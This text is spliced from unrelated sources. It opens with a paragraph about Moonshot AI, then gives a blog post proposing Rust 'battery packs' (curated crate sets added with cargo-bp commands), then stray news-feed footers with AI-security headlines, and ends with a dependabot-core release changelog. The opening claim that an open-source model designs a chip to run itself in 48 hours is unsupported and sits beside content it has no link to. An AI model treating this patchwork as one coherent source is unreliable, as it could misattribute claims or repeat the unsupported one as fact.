Just two years ago, Moonshot AI was a scrappy startup named for the audacious problems it hoped to solve. Eighteen months ago, it was a cautionary tale about how quickly a market darling can lose its footing. Today, it is the maker of the world's largest open-source AI model — one that can, given 48 hours and an internet connection, design a chip to run itself. The frontier, it turns out, is not a place. It is a race. And the field just got a lot more crowded.

This blog post describes an idea I’ve been kicking around called battery packs. Battery packs are a curated set of crates arranged around a common theme. For example, there’s a CLI battery pack that has everything you need to build a great CLI, an opinionated pack for creating a backend web service, and one for embedded development (based on the Embedded Working Group’s Awesome Rust repository). We’ve also got some smaller ones, such as the error-handling battery pack that shows how to handle errors in Rust. But this is just the beginning – a key part of the battery pack design is that anybody can create one.

Battery packs are meant to address one of the most common things I hear from new Rust adopters. Everyone loves the wealth of high-quality crates available on crates.io. And everyone hates having to spend a bunch of time researching and comparing alternatives. Battery packs can serve as a good set of default choices. And they don’t lock you in. At heart, they’re basically just a list of recommended crates, so you can always swap something out if you find an alternative.

We’ve got a prototype of the battery pack tool working today, so you can try it out if you’re curious. Just run cargo install cargo-bp and then try a few commands! For example,

> cargo bp list

will show you the set of available battery packs, based on a crates.io search (as I’ll explain below, a battery pack is itself packaged and distributed as a crate, but not one that you take a direct dependency on). And cargo bp add will add batteries from a battery pack into your crate, so e.g.

> cargo bp add cli

would let you select and add common CLI libraries. If you want to see a more involved demo, try out cargo bp add embedded, which is derived from the Awesome Embedded Rust repository.

Let’s talk about you and me

One of the key ideas from battery packs is that anybody can publish one. They are just a crate named X-battery-pack; the dependencies of that crate are your recommendations. Features are designations of common sets of crates frequently used together. The examples are your templates. And so forth.

Letting anybody create a battery pack is in contrast to the previous ideas for an “extended standard library for Rust”¹, and it is intended to address some of Rust’s unique challenges. For one thing, it lets people publish battery packs that are tailored to specific requirements. For example, the CLI and backend service battery packs are targeting a “typical computer”. But I could imagine the Rust embedded working group publishing a battery pack with libraries focused on no-std and binary size optimization.

Being open-ended also addresses the “who decides?” question. To my mind, the best people to recommend what libraries you ought to use are other people building systems like yours. This is why I mentioned the Embedded Working Group publishing an Embedded battery pack, for example, as I think they are clearly a set of people who know their space well. But even within the embedded space there are yet smaller groups, and I imagine that sometimes it’ll make sense to get narrower. For example, perhaps a battery pack targeted embassy and its associated ecosystem? Unclear.

Creating a battery pack

If you wanted to create a battery pack, how do you do it? One answer is that you just create a new crate. But a better approach is to use the “battery-pack battery pack”², which bundles a template:

cargo bp new battery-pack

This will prompt you for the name of the battery pack you want to create and a few other things and make your crate. Then you can just use cargo add dependencies to represent the libraries you want to recommend and publish.

“Batteries” are more than dependencies

The “batteries” that you can add to your project aren’t always dependencies. They can also be “recipes” or templates. For example, the CI battery pack³ can configure your project with the kind of “super neat-o” github actions you’ve always wanted but never wanted to bother configuring. To use it, select one or more of the templates to install:

cargo bp add ci

I expect this kind of “actions to improve your crate” to become a rich source of things. Right now we’re using a relatively lightweight template system built on minijinja, but I think we’re going to want to expand on this.

Giving it some structure

Battery Packs also support more than just a flat listing of dependencies/features/templates. You can group dependencies and features into categories and then, for each category, distinguish between “pick at most one” or “pick any number”. For a fun example, try cargo bp add embedded, which is derived from the Awesome Embedded Rust repository. If you run it, you’ll see something like this, which groups the choices thematically and, in some areas like “concurrency framework”, makes it clear that you want to pick one:

──────────────────────────────────────────────────────────────────
 ▼ Concurrency Framework (pick at most one)
 > ○ ✦ embassy [embassy-executor, embassy-sync, embassy-time]
   ○ ✦ rtic [cortex-m, rtic]    RTIC — interrupt-driven real-time

 ▼ Display & Graphics (pick any number)
   [ ] ✦ display-ssd1306 [embedded-graphics, ssd1306]    SSD1306
   [ ] ✦ display-st7789 [embedded-graphics, st7789]    ST7789 col

 ▼ Popular Drivers (pick any number)
   [ ] ✦ display-ssd1306 [embedded-graphics, ssd1306]    SSD1306
   [ ] ✦ display-st7789 [embedded-graphics, st7789]    ST7789 col
   [ ] ✦ sensor-bme280 [bme280]    BME280 temperature/humidity/pr
   [ ] ✦ sensor-lis3dh [lis3dh]    LIS3DH 3-axis accelerometer (I
   [ ] ✦ usb-device [usb-device, usbd-serial]    USB device stack

 ▼ Hardware Abstraction Layer (pick at most one)
   ○ ✦ atsamd [atsamd-hal, cortex-m-rt, critical-section-impl, co
   ○ ✦ esp32 [embedded-hal, esp-hal]    ESP32 (Xtensa, WiFi + BT,
   ○ ✦ esp32c3 [embedded-hal, esp-hal]    ESP32-C3 (RISC-V, WiFi
   ○ ✦ esp32s3 [embedded-hal, esp-hal]    ESP32-S3 (Xtensa, WiFi
   ○ ✦ nrf52832 [cortex-m-rt, critical-section-impl, cortex-m, em
   ○ ✦ nrf52840 [cortex-m-rt, critical-section-impl, cortex-m, em
   ○ ✦ nrf9160 [cortex-m-rt, critical-section-impl, cortex-m, emb
   ○ ✦ rp2040 [cortex-m-rt, critical-section-impl, cortex-m, embe
   ○ ✦ stm32f0 [cortex-m-rt, critical-section-impl, cortex-m, emb
 embedded-battery-pack v0.1.0  ↑↓/jk Navigate | Space Toggle | ←/→

Let’s talk about all the good things…

So why am I so keen on battery packs? It’s largely because I’ve heard so many would-be or recent Rust adopters talk about picking crates as a challenge. But I feel they would help with some other problems as well.

What I really want to see is working groups in the Rust Commercial Network banding together to publish battery packs and recommendations. These would cover the dependencies that they’re actually using.

Supporting maintainers

One of the reasons I want to have RCN-recognized battery packs is that they are a natural focal point to then prompt RCN members to fund the maintenance of those crates. I am imagining that for each sponsored battery pack vended within the RCN, there is an associated “ecosystem fund”. Companies or individuals could sponsor this fund to get access to early patches, security disclosures, etc or other perks. The money would be used to support the maintainers of those crates, to implement missing features, and so forth.

Fostering interoperability

Another value-add from battery packs is the ability to drive interop efforts. I think that as soon as we start talking about standardizing, we’re also going to recognize that there are some places where standardization is hard. For example, early conversations within the network service working group (unsurprisingly) immediately identified that while most people are using tokio, some major companies are using their own runtimes internally. It’s not like the need for “async runtime interop” is news. But right now, every crate winds up effectively implementing their own set of little traits to make it work. Sponsored battery packs offer the possibility of a neutral home for that sort of thing.

…and the bad things that could be

There are some risks to people using battery packs. The most obvious is that the fact that anybody can publish a battery pack may mean that you just get a ton of battery packs, which doesn’t really help anybody! I’m not so worried about this because I think that there will be a few obvious places that most people go first, and then I think once people are oriented, they’ll get excited to explore what crates.io has to offer and start discovering more niche battery packs.

Avoiding stagnation

Battery packs are designed to evolve. I’ve seen it happen a number of times that there is a dominant crate for something, often taking a “traditional approach”, but then somebody else comes along and presents an interesting alternative that gradually takes off. I love that and I don’t want to put it at risk.

One example of evolution around CLI argument parsing. For a time, docopt was a popular way to parse command-line options. Then clap came along and presented a more structured alternative; that was nice, but then structopt came along and connected clap to an auto-derive, so you could just write your data structure and be done. And that was awesome. (That is now the standard in clap.) I want to be sure that, even if there is a CLI battery pack, there’s room for the next clap to come along.

There are a few things about battery pack that I think will help us deal with this. First, they are a “thin abstraction”. You don’t “depend on” a battery pack, you depend on the crates within it. So if a new version comes out that uses clap instead of docopt, that doesn’t impact you at all. Your code keeps working same as it ever did. And of course it helps that anybody can publish a battery pack. You can now have variations on battery packs that are focused around a new approach to help it get started.

Done right, I think that standardized battery packs can also help the ecosystem evolve and pivot. As it is now, knowledge of new crates has to spread by word-of-mouth. But if everybody is aligned around a new approach, adopting that new approach within a battery packs sends a clear signal that your group is aligned that something is the new hotness.

…Let’s talk about crates⁴

“Always bet on the ecosystem”

I see always bet on the ecosystem as a key Rust design axiom. It’s the reason we chose a small standard library and a package manager in the first place. It’s also why battery packs are designed to be published by anyone.

But just like plants sometimes need a trellis to grow taller, any successful ecosystem reaches a point where it needs another layer of structure to help it keep growing. Without that, you have this “layer of tacic knowledge” (in the words of a Rust Vision Doc interviewee) that becomes an obstacle for folks. And I think we’ve reached that point with crates.io.

I am hopeful that battery packs can provide that next layer of structure. But at the end of the day, if there’s a better approach, that’s fine too, so long as we find a way to help people find (and fund!) the crates they need. So let’s talk about it!

Read the original post: Gemini Now Connects to Canva in Google Search

The post AI has crossed from assistant to operator, Check Point research warns appeared first on IT Security Guru.

Read more of this story at Slashdot.

Read more →

The post AI used to help plan the break-in, now it’s doing the break-in appeared first on IT Security News.

The post AI used to help plan the break-in, now it’s doing the break-in appeared first on Help Net Security.

Read more →

The post Vulnerability in FIFA’s Network appeared first on IT Security News.

The post Agentic RAG: Let the Agent Search appeared first on Towards Data Science.

• Capture offending gem details on bundler registry metadata errors by @kbukum1 in #15512
• Bundler: apply empty-checksum metadata patch to the v2 helper by @kbukum1 in #15513
• [Update graph] Ensure bystander txt files are removed before parsing for Python by @brrygrdn in #15508
• Handle global.json with no SDK version in dotnet_sdk parser by @brettfo in #15510
• Type the cargo ecosystem and remove it from the T.untyped burndown by @JamieMagee in #15492
• Type the conda ecosystem and remove it from the T.untyped burndown by @JamieMagee in #15493
• Type the docker ecosystem and remove it from the T.untyped burndown by @JamieMagee in #15495
• Use shared git-tag cooldown in terraform by @robaiken in #15472
• Retry corepack once on signature metadata error by @thavaahariharangit with @Copilot in #15466
• Type the deno, elm, devcontainers, bazel, and helm ecosystems by @JamieMagee in #15527
• Add word-separator and lowercase formatting for branch name by @AbhishekBhaskar in #15478
• Fix Docker cooldown not respected for multi-arch images missing Last-Modified by @robaiken with @Copilot in #15486
• Reduce redundant git-source probes during npm metadata resolution by @thavaahariharangit with @Copilot in #15480
• Type the maven ecosystem and remove it from the T.untyped burndown by @JamieMagee in #15531
• Add branch name config template format support with validation by @AbhishekBhaskar in #15535
• fix(gradle): prefer local gradlew for lockfile updates by @thavaahariharangit in #15546
• helm: support versioning-strategy (range-preserving updates) by @casey-robertson-paypal in #15218
• Bump gradle from 9.4.1-jdk21-ubi to 9.6.1-jdk21-ubi in /gradle by @dependabot[bot] in #15498
• [Update graph] Add support for requirements.txt 'layering' instead of compressing to a single file by @brrygrdn in #15521
• Allow periods in Helm values file names for Docker ecosystem by @telnet23 in #15557
• Match existing group PRs covering a subset of job directories by @IanButterworth in #15548
• Bump library/golang from 1.26.1-bookworm to 1.26.5-bookworm in /go_modules by @dependabot[bot] in #15562
• Fix npm security updates for transitive dependencies in workspace monorepos by @Swampen in #15514
• Add helm to the smoke-test matrix by @casey-robertson-paypal in #15554
• v0.386.0 by @dependabot-core-action-automation[bot] in #15564

New Contributors

• @telnet23 made their first contribution in #15557
• @Swampen made their first contribution in #15514

Full Changelog: v0.385.0...v0.386.0